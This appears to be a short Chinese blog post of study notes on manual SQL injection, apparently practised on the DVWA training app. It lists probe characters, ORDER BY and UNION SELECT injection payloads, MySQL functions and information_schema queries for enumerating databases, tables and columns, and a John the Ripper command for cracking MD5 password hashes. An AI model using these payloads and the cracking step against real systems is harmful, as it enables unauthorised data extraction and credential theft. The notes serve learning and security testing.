手动漏洞挖掘——SQL注入

目录

基于报错的检测方法

基于布尔的检测

表列数/显示信息位于哪一列

联合查询

mysql的一些函数

密码破解


基于报错的检测方法

基于布尔的检测

'
"
%

表列数/显示信息位于哪一列

(记得添加注释符--)

order by 1/2/3... --

联合查询

' union select 1,2-- 判断select的两个变量先后顺序

' union all select database(),2 --

mysql的一些函数

database()
substring_index(USER(),"@",1)
user()
version()
@@datadir
@@hostname
@@VERSION
@@version_compile_os
dtabase()
char()
CONCAT_WS(CHAR(32,58,32),user(),database(),version()) #连接字符串
md5() #计算哈希值
information_schema #MySQL数据结构

密码破解

john --format=raw-MD5 dvwa.txt --show

MySQL查询数据核心语法

select schema_name from information_schema.schemata #查库

select table_name from information_schema.tables where table_schema=库名 #查表

select column_name from information_schema.columns where table_name=表名 #查列

select 列名 from 库名.表名 #查数据

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值